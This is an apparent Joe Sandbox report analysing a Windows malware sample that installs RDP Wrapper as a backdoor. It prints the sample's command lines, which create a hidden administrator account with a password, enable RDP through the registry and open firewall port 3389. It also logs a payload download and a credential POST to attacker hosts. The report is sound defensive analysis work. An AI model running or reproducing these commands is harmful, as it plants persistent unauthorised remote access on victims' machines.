Edit tour

Windows Analysis Report
67065b4c84713_Javiles.exe

Overview

General Information

Sample name:	67065b4c84713_Javiles.exe
Analysis ID:	1531874
MD5:	8be8e5e57fc2a177c12ac52d6f71157c
SHA1:	6d53911869b932db7dcbc5e9fb0c023fe3d520ad
SHA256:	f1417213f43cad96ecab7f83251b963706b22e4ebe4e6b34080fc6227ee359b3
Tags:	exeuser-aachum
Infos:

Detection

RDPWrap Tool

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

.NET source code contains potential unpacker

AI detected suspicious sample

Adds a new user with administrator rights

Allows multiple concurrent remote connection

Enables remote desktop connection

Machine Learning detection for dropped file

Machine Learning detection for sample

Modifies the windows firewall

Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)

Sigma detected: Outbound RDP Connections Over Non-Standard Tools

Sigma detected: RDP Sensitive Settings Changed

Sigma detected: Suspicious Add User to Remote Desktop Users Group

Uses cmd line tools excessively to alter registry or file data

Uses netsh to modify the Windows network and firewall settings

Yara detected Costura Assembly Loader

Yara detected RDPWrap Tool

Allocates memory with a write watch (potentially for evading sandboxes)

Binary contains a suspicious time stamp

Contains functionality to enumerate running services

Contains functionality to query locales information (e.g. system language)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates or modifies windows services

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the windows directory (C:\Windows)

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

Modifies existing windows services

PE file contains executable resources (Code or Archives)

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Sigma detected: Execution of Suspicious File Type Extension

Sigma detected: New User Created Via Net.EXE

Sigma detected: Uncommon Svchost Parent Process

Spawns drivers

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Uses reg.exe to modify the Windows registry

Classification

Process Tree

System is w10x64

67065b4c84713_Javiles.exe (PID: 7480 cmdline: "C:\Users\user\Desktop\67065b4c84713_Javiles.exe" MD5: 8BE8E5E57FC2A177C12AC52D6F71157C)

cmd.exe (PID: 7652 cmdline: "cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "AllowRemoteRPC" /t REG_DWORD /d 1 /f MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 7660 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

reg.exe (PID: 7692 cmdline: reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "AllowRemoteRPC" /t REG_DWORD /d 1 /f MD5: CDD462E86EC0F20DE2A1D781928B1B0C)

cmd.exe (PID: 7708 cmdline: "cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableRemoteDesktop" /t REG_DWORD /d 0 /f MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 7716 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

reg.exe (PID: 7748 cmdline: reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableRemoteDesktop" /t REG_DWORD /d 0 /f MD5: CDD462E86EC0F20DE2A1D781928B1B0C)

cmd.exe (PID: 7764 cmdline: "cmd.exe" /c "C:\Users\user\AppData\Local\Temp\RDPWInst.exe" -i MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 7772 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

RDPWInst.exe (PID: 7812 cmdline: C:\Users\user\AppData\Local\Temp\RDPWInst.exe -i MD5: C213162C86BB943BCDF91B3DF381D2F6)

netsh.exe (PID: 7924 cmdline: netsh advfirewall firewall add rule name="Remote Desktop" dir=in protocol=tcp localport=3389 profile=any action=allow MD5: 6F1E6DD688818BC3D1391D0CC7D597EB)

svchost.exe (PID: 7828 cmdline: C:\Windows\System32\svchost.exe -k NetworkService -s TermService MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cmd.exe (PID: 7696 cmdline: "cmd.exe" /c net user JustonThompson G2ywh4BZ30yu /add MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 7704 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

net.exe (PID: 7680 cmdline: net user JustonThompson G2ywh4BZ30yu /add MD5: 31890A7DE89936F922D44D677F681A7F)

net1.exe (PID: 7640 cmdline: C:\Windows\system32\net1 user JustonThompson G2ywh4BZ30yu /add MD5: 2EFE6ED4C294AB8A39EB59C80813FEC1)

cmd.exe (PID: 7712 cmdline: "cmd.exe" /c net localgroup MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 7740 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

net.exe (PID: 7844 cmdline: net localgroup MD5: 31890A7DE89936F922D44D677F681A7F)

net1.exe (PID: 7836 cmdline: C:\Windows\system32\net1 localgroup MD5: 2EFE6ED4C294AB8A39EB59C80813FEC1)

cmd.exe (PID: 7828 cmdline: "cmd.exe" /c net localgroup "Remote Desktop Users" JustonThompson /add MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 2920 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

net.exe (PID: 7872 cmdline: net localgroup "Remote Desktop Users" JustonThompson /add MD5: 31890A7DE89936F922D44D677F681A7F)

net1.exe (PID: 7956 cmdline: C:\Windows\system32\net1 localgroup "Remote Desktop Users" JustonThompson /add MD5: 2EFE6ED4C294AB8A39EB59C80813FEC1)

cmd.exe (PID: 7940 cmdline: "cmd.exe" /c netsh advfirewall firewall add rule name="RDP" dir=in action=allow protocol=tcp localport=3389 MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 8032 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

netsh.exe (PID: 7788 cmdline: netsh advfirewall firewall add rule name="RDP" dir=in action=allow protocol=tcp localport=3389 MD5: 4E89A1A088BE715D6C946E55AB07C7DF)

cmd.exe (PID: 396 cmdline: "cmd.exe" /c net localgroup "Administrators" JustonThompson /add MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 5596 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

net.exe (PID: 2936 cmdline: net localgroup "Administrators" JustonThompson /add MD5: 31890A7DE89936F922D44D677F681A7F)

net1.exe (PID: 764 cmdline: C:\Windows\system32\net1 localgroup "Administrators" JustonThompson /add MD5: 2EFE6ED4C294AB8A39EB59C80813FEC1)

rdpvideominiport.sys (PID: 4 cmdline: MD5: 77FF15B9237D62A5CBC6C80E5B20A492)

rdpdr.sys (PID: 4 cmdline: MD5: 64991B36F0BD38026F7589572C98E3D6)

tsusbhub.sys (PID: 4 cmdline: MD5: CC6D4A26254EB72C93AC848ECFCFB4AF)

cleanup

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
67065b4c84713_Javiles.exe	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security

Dropped Files

Source	Rule	Description	Author	Strings
C:\Users\user\AppData\Local\Temp\RDPWInst.exe	JoeSecurity_RDPWrapTool	Yara detected RDPWrap Tool	Joe Security
C:\Users\user\AppData\Local\Temp\RDPWInst.exe	JoeSecurity_DelphiSystemParamCount	Detected Delphi use of System.ParamCount()	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000009.00000000.1765768816.0000000000401000.00000020.00000001.01000000.00000008.sdmp	JoeSecurity_DelphiSystemParamCount	Detected Delphi use of System.ParamCount()	Joe Security
00000009.00000002.1796146240.0000000000401000.00000020.00000001.01000000.00000008.sdmp	JoeSecurity_DelphiSystemParamCount	Detected Delphi use of System.ParamCount()	Joe Security
00000000.00000000.1703967641.0000000000482000.00000002.00000001.01000000.00000003.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000009.00000002.1796287017.0000000000450000.00000002.00000001.01000000.00000008.sdmp	JoeSecurity_RDPWrapTool	Yara detected RDPWrap Tool	Joe Security
00000009.00000000.1765908730.0000000000450000.00000002.00000001.01000000.00000008.sdmp	JoeSecurity_RDPWrapTool	Yara detected RDPWrap Tool	Joe Security
00000000.00000002.2171643627.0000000002881000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
Process Memory Space: 67065b4c84713_Javiles.exe PID: 7480	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
Process Memory Space: RDPWInst.exe PID: 7812	JoeSecurity_RDPWrapTool	Yara detected RDPWrap Tool	Joe Security
Click to see the 3 entries

Unpacked PEs

Source	Rule	Description	Author
0.0.67065b4c84713_Javiles.exe.480000.0.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
9.2.RDPWInst.exe.400000.0.unpack	JoeSecurity_RDPWrapTool	Yara detected RDPWrap Tool	Joe Security
9.2.RDPWInst.exe.400000.0.unpack	JoeSecurity_DelphiSystemParamCount	Detected Delphi use of System.ParamCount()	Joe Security
9.0.RDPWInst.exe.400000.0.unpack	JoeSecurity_RDPWrapTool	Yara detected RDPWrap Tool	Joe Security
9.0.RDPWInst.exe.400000.0.unpack	JoeSecurity_DelphiSystemParamCount	Detected Delphi use of System.ParamCount()	Joe Security

Sigma Signatures

System Summary

Sigma detected: Outbound RDP Connections Over Non-Standard Tools

Source: Network Connection

Author: Markus Neis: Data: DestinationIp: 8.46.123.33, DestinationIsIpv6: false, DestinationPort: 3389, EventID: 3, Image: C:\Users\user\Desktop\67065b4c84713_Javiles.exe, Initiated: true, ProcessId: 7480, Protocol: tcp, SourceIp: 192.168.2.4, SourceIsIpv6: false, SourcePort: 49739

Sigma detected: RDP Sensitive Settings Changed

Source: Registry Key set

Author: Samir Bousseaden, David ANDRE, Roberto Rodriguez @Cyb3rWard0g, Nasreddine Bencherchali: Data: Details: %ProgramFiles%\RDP Wrapper\rdpwrap.dll, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\RDPWInst.exe, ProcessId: 7812, TargetObject: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\TermService\Parameters\ServiceDll

Sigma detected: Suspicious Add User to Remote Desktop Users Group

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "cmd.exe" /c net localgroup "Remote Desktop Users" JustonThompson /add, CommandLine: "cmd.exe" /c net localgroup "Remote Desktop Users" JustonThompson /add, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\cmd.exe, NewProcessName: C:\Windows\SysWOW64\cmd.exe, OriginalFileName: C:\Windows\SysWOW64\cmd.exe, ParentCommandLine: "C:\Users\user\Desktop\67065b4c84713_Javiles.exe", ParentImage: C:\Users\user\Desktop\67065b4c84713_Javiles.exe, ParentProcessId: 7480, ParentProcessName: 67065b4c84713_Javiles.exe, ProcessCommandLine: "cmd.exe" /c net localgroup "Remote Desktop Users" JustonThompson /add, ProcessId: 7828, ProcessName: cmd.exe

Sigma detected: Execution of Suspicious File Type Extension

Source: Process started

Author: Max Altgelt (Nextron Systems): Data: Command: , CommandLine: , CommandLine|base64offset|contains: , Image: C:\Windows\System32\drivers\rdpvideominiport.sys, NewProcessName: C:\Windows\System32\drivers\rdpvideominiport.sys, OriginalFileName: C:\Windows\System32\drivers\rdpvideominiport.sys, ParentCommandLine: , ParentImage: , ParentProcessId: -1, ProcessCommandLine: , ProcessId: 4, ProcessName: rdpvideominiport.sys

Sigma detected: New User Created Via Net.EXE

Source: Process started

Author: Endgame, JHasenbusch (adapted to Sigma for oscd.community): Data: Command: net user JustonThompson G2ywh4BZ30yu /add, CommandLine: net user JustonThompson G2ywh4BZ30yu /add, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\net.exe, NewProcessName: C:\Windows\SysWOW64\net.exe, OriginalFileName: C:\Windows\SysWOW64\net.exe, ParentCommandLine: "cmd.exe" /c net user JustonThompson G2ywh4BZ30yu /add, ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 7696, ParentProcessName: cmd.exe, ProcessCommandLine: net user JustonThompson G2ywh4BZ30yu /add, ProcessId: 7680, ProcessName: net.exe

Sigma detected: Uncommon Svchost Parent Process

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: C:\Windows\System32\svchost.exe -k NetworkService -s TermService, CommandLine: C:\Windows\System32\svchost.exe -k NetworkService -s TermService, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: "C:\Users\user\Desktop\67065b4c84713_Javiles.exe", ParentImage: C:\Users\user\Desktop\67065b4c84713_Javiles.exe, ParentProcessId: 7480, ParentProcessName: 67065b4c84713_Javiles.exe, ProcessCommandLine: C:\Windows\System32\svchost.exe -k NetworkService -s TermService, ProcessId: 7828, ProcessName: svchost.exe

Sigma detected: Net.exe Execution

Source: Process started

Author: Michael Haag, Mark Woan (improvements), James Pemberton / @4A616D6573 / oscd.community (improvements): Data: Command: net user JustonThompson G2ywh4BZ30yu /add, CommandLine: net user JustonThompson G2ywh4BZ30yu /add, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\net.exe, NewProcessName: C:\Windows\SysWOW64\net.exe, OriginalFileName: C:\Windows\SysWOW64\net.exe, ParentCommandLine: "cmd.exe" /c net user JustonThompson G2ywh4BZ30yu /add, ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 7696, ParentProcessName: cmd.exe, ProcessCommandLine: net user JustonThompson G2ywh4BZ30yu /add, ProcessId: 7680, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k NetworkService -s TermService, CommandLine: C:\Windows\System32\svchost.exe -k NetworkService -s TermService, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: "C:\Users\user\Desktop\67065b4c84713_Javiles.exe", ParentImage: C:\Users\user\Desktop\67065b4c84713_Javiles.exe, ParentProcessId: 7480, ParentProcessName: 67065b4c84713_Javiles.exe, ProcessCommandLine: C:\Windows\System32\svchost.exe -k NetworkService -s TermService, ProcessId: 7828, ProcessName: svchost.exe

Suricata Signatures

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-11T23:07:44.257533+0200	2803305	3	Unknown Traffic	192.168.2.4	49738	172.67.74.152	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for dropped file

Source: C:\Program Files\RDP Wrapper\rdpwrap.dll	ReversingLabs: Detection: 54%
Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe	ReversingLabs: Detection: 68%

Multi AV Scanner detection for submitted file

Source: 67065b4c84713_Javiles.exe

ReversingLabs: Detection: 87%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe

Joe Sandbox ML: detected

Machine Learning detection for sample

Source: 67065b4c84713_Javiles.exe

Joe Sandbox ML: detected

Source: 67065b4c84713_Javiles.exe

Static PE information: EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE

Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe	Directory created: C:\Program Files\RDP Wrapper	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe	Directory created: C:\Program Files\RDP Wrapper\rdpwrap.ini	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe	Directory created: C:\Program Files\RDP Wrapper\rdpwrap.dll	Jump to behavior

Source: unknown

HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49740 version: TLS 1.2

Source: 67065b4c84713_Javiles.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: costura=costura.costura.dll.compressed=costura.costura.pdb.compressed source: 67065b4c84713_Javiles.exe
Source:	Binary string: rdpclip.pdbH source: RDPWInst.exe, 00000009.00000000.1765908730.0000000000450000.00000002.00000001.01000000.00000008.sdmp, RDPWInst.exe.0.dr
Source:	Binary string: <>c__DisplayClass0_0<>9__5_0<GetTotalDiskSpace>b__5_0<GenerateRandomPassword>b__0<>u__1Nullable`1IEnumerable`1Task`1TaskAwaiter`1ToInt32<faker>5__2<>u__2Func`2Dictionary`2ToInt64<Main>d__4<>9<Module><Main>GetTotalRAMSystem.IOGetPublicIP_Costuracostura.metadatamscorlibset_Verb<>cSystem.Collections.GenericDiscoverDeviceAsyncDownloadFileTaskAsyncCreatePortMapAsyncReadLoadAddisAttachedInterlockedcostura.costura.pdb.compressedcostura.costura.dll.compressedcostura.system.diagnostics.diagnosticsource.dll.compressedcostura.bogus.dll.compressedcostura.open.nat.dll.compressedget_ConnectedAwaitUnsafeOnCompletedget_IsCompletedSystem.Collections.SpecializedReadToEndExecuteCommandcommandFindGenerateRandomPasswordpasswordReplaceGetTotalDiskSpaceNatDeviceCancellationTokenSourcesourceCompressionModeRangeExchangenullCacheInvokeIEnumerableIDisposableget_AsyncWaitHandleDownloadFileIsInRoleWindowsBuiltInRoleget_MainModuleProcessModuleGetOSNameGetGPUNameget_Nameget_FileNameset_FileNameget_MachineNamefullNameGetAdminGroupNameuserNameGetProcessorNameGetNameLastNameFirstNamerequestedAssemblyNameusernameWaitOneCombineIAsyncStateMachineSetStateMachinestateMachineValueTypeSystem.CorecultureDisposeCreate<>1__stateWriteCompilerGeneratedAttributeDebuggableAttributeAsyncStateMachineAttributeTargetFrameworkAttributeDebuggerHiddenAttributeCompilationRelaxationsAttributeRuntimeCompatibilityAttributeset_UseShellExecuteByteTryGetValuedriveadd_AssemblyResolveRDPCreator.exeSystem.ThreadingSystem.Runtime.VersioningMappingDownloadStringCultureToStringAttachzipPathGetTempPathpathget_LengthlengthEndsWithUriAsyncCallbacknullCacheLockget_TaskSystem.Security.PrincipalWindowsPrincipalProtocolzipUrlserverUrlurlReadStreamLoadStreamGetManifestResourceStreamDeflateStreamMemoryStreamstreamProgramget_Itemset_ItemSystemTrimRandomrandomSumTimeSpanIsPortOpenget_ChildrenRDPCreator.cMainAppDomainget_CurrentDomainFodyVersionSystem.IO.CompressiondestinationSystem.GlobalizationSystem.ReflectionNameValueCollectionManagementObjectCollectionset_PositionSetExceptionStringComparisonpatternCopyToget_CultureInfoSystemInfoProcessStartInfoAddUserToAdminGroupAddUserToRemoteDesktopGroupSystem.LinqStreamReaderTextReaderAssemblyLoaderAsyncTaskMethodBuilder<>t__builderGendersenderManagementObjectSearcherFakerResolveEventHandlerRDPInstallerPortMapperInstallRDPWrapperNatDiscovererCheckForRDPUserCreateAdminUserTaskAwaiterGetAwaiterEnterRDPCreatorIsRunAsAdministrator.ctor.cctorMonitorSystem.DiagnosticsFromMillisecondsSystem.Runtime.CompilerServicesSystem.DirectoryServicesReadFromEmbeddedResourcesDebuggingModesGetAssembliesDirectoryEntriesresourceNamessymbolNamesassemblyNamesUploadValuesget_FlagsAssemblyNameFlagsResolveEventArgsargsSystem.Threading.TasksSendCredentialsEqualsContainsSystem.Collectionsget_CharsGetCurrentProcessBogus.DataSetsSystem.Net.SocketsExistsBogusOpen.NatConcatManagementBaseObjectManagementObjectSelectBeginConnectGetSystem.NetWaitForExitFirstOrDefaultIAsyncResultGetResultSetResultToLowerInvariantWebClien
Source:	Binary string: costura.costura.pdb.compressed source: 67065b4c84713_Javiles.exe
Source:	Binary string: rdpclip.pdbJ source: RDPWInst.exe, 00000009.00000000.1765908730.0000000000450000.00000002.00000001.01000000.00000008.sdmp, RDPWInst.exe.0.dr
Source:	Binary string: RfxVmt.pdb source: 67065b4c84713_Javiles.exe, 00000000.00000002.2171643627.0000000002B4B000.00000004.00000800.00020000.00000000.sdmp, RDPWInst.exe, 00000009.00000000.1765908730.0000000000450000.00000002.00000001.01000000.00000008.sdmp, rfxvmt.dll.9.dr, RDPWInst.exe.0.dr
Source:	Binary string: /_/Source/Bogus/obj/Release/net40/Bogus.pdb source: 67065b4c84713_Javiles.exe, 00000000.00000002.2174014042.0000000005020000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: rdpclip.pdb source: RDPWInst.exe, 00000009.00000000.1765908730.0000000000450000.00000002.00000001.01000000.00000008.sdmp, RDPWInst.exe.0.dr
Source:	Binary string: RfxVmt.pdbGCTL source: 67065b4c84713_Javiles.exe, 00000000.00000002.2171643627.0000000002B4B000.00000004.00000800.00020000.00000000.sdmp, RDPWInst.exe, 00000009.00000000.1765908730.0000000000450000.00000002.00000001.01000000.00000008.sdmp, rfxvmt.dll.9.dr, RDPWInst.exe.0.dr
Source:	Binary string: costura.costura.pdb.compressed\|\|\|Costura.pdb\|6C6000A5EAF8579850AB82A89BD6268776EB51AD\|2608 source: 67065b4c84713_Javiles.exe
Source:	Binary string: C:\DEV\C#\RDPCreator\RDPCreator\obj\Release\RDPCreator.pdb source: 67065b4c84713_Javiles.exe
Source:	Binary string: /_/Source/Bogus/obj/Release/net40/Bogus.pdbSHA256v0& source: 67065b4c84713_Javiles.exe, 00000000.00000002.2174014042.0000000005020000.00000004.08000000.00040000.00000000.sdmp

Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe	Code function: 9_2_004092D8 FindFirstFileW,FindClose,	9_2_004092D8
Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe	Code function: 9_2_0040F73C FindFirstFileW,FindClose,	9_2_0040F73C
Source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe	Code function: 9_2_00408EB9 lstrcpynW,FindFirstFileW,FindClose,lstrlenW,lstrcpynW,lstrlenW,lstrcpynW,	9_2_00408EB9

Networking

Yara detected RDPWrap Tool

Source: Yara match	File source: 9.2.RDPWInst.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.0.RDPWInst.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000009.00000002.1796287017.0000000000450000.00000002.00000001.01000000.00000008.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000000.1765908730.0000000000450000.00000002.00000001.01000000.00000008.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: RDPWInst.exe PID: 7812, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\RDPWInst.exe, type: DROPPED

Source: global traffic

TCP traffic: 192.168.2.4:49739 -> 8.46.123.33:3389

Source: global traffic

HTTP traffic detected: HTTP/1.1 200 OKServer: nginxDate: Fri, 11 Oct 2024 21:07:01 GMTContent-Type: application/octet-streamContent-Length: 1785344Last-Modified: Thu, 26 Sep 2024 12:36:03 GMTConnection: keep-aliveKeep-Alive: timeout=120ETag: "66f55533-1b3e00"X-Content-Type-Options: nosniffAccept-Ranges: bytesData Raw: 4d 5a 50 00 02 00 00 00 04 00 0f 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 ba 10 00 0e 1f b4 09 cd 21 b8 01 4c cd 21 90 90 54 68 69 73 20 70 72 6f 67 72 61 6d 20 6d 75 73 74 20 62 65 20 72 75 6e 20 75 6e 64 65 72 20 57 69 6e 33 32 0d 0a 24 37 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 09 00 23 d6 43 5a 00 00 00 00 00 00 00 00 e0 00 8e 81 0b 01 02 19 00 34 04 00 00 06 17 00 00 00 00 00 3c 37 04 00 00 10 00 00 00 50 04 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 00 e0 1b 00 00 04 00 00 17 f6 1b 00 03 00 00 00 00 00 10 00 00 40 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 c0 04 00 f8 12 00 00 00 60 05 00 ed 7b 16 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 05 00 fc 5e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 04 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 c3 04 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 20 12 04 00 00 10 00 00 00 14 04 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 69 74 65 78 74 00 00 7c 1e 00 00 00 30 04 00 00 20 00 00 00 18 04 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 78 12 00 00 00 50 04 00 00 14 00 00 00 38 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 62 73 73 00 00 00 00 c0 4f 00 00 00 70 04 00 00 00 00 00 00 4c 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 2e 69 64 61 74 61 00 00 f8 12 00 00 00 c0 04 00 00 14 00 00 00 4c 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 74 6c 73 00 00 00 00 10 00 00 00 00 e0 04 00 00 00 00 00 00 60 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 2e 72 64 61 74 61 00 00 18 00 00 00 00 f0 04 00 00 02 00 00 00 60 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 fc 5e 00 00 00 00 05 00 00 60 00 00 00 62 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 2e 72 73 72 63 00 00 00 ed 7b 16 00 00 60 05 00 00 7c 16 00 00 c2 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 70 17 00 00 00 00 00 00 cc 16 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: POST /core/receive.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: hansgborn.euContent-Length: 190Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /prog/66f55533ca7d6_RDPWInst.exe HTTP/1.1Host: 147.45.44.104Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: api.ipify.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: api.ipify.org

Source: Joe Sandbox View	IP Address: 239.255.255.250 239.255.255.250
Source: Joe Sandbox View	IP Address: 8.46.123.33 8.46.123.33
Source: Joe Sandbox View	IP Address: 188.114.96.3 188.114.96.3
Source: Joe Sandbox View	IP Address: 188.114.96.3 188.114.96.3

Source: Joe Sandbox View

ASN Name: AS-PUBMATICUS AS-PUBMATICUS

Source: Joe Sandbox View

JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: unknown	DNS query: name: api.ipify.org
Source: unknown	DNS query: name: api.ipify.org

Source: Network traffic

Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49738 -> 172.67.74.152:80

Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
Source: unknown	TCP traffic detected without corresponding DNS query: 147.45.44.104
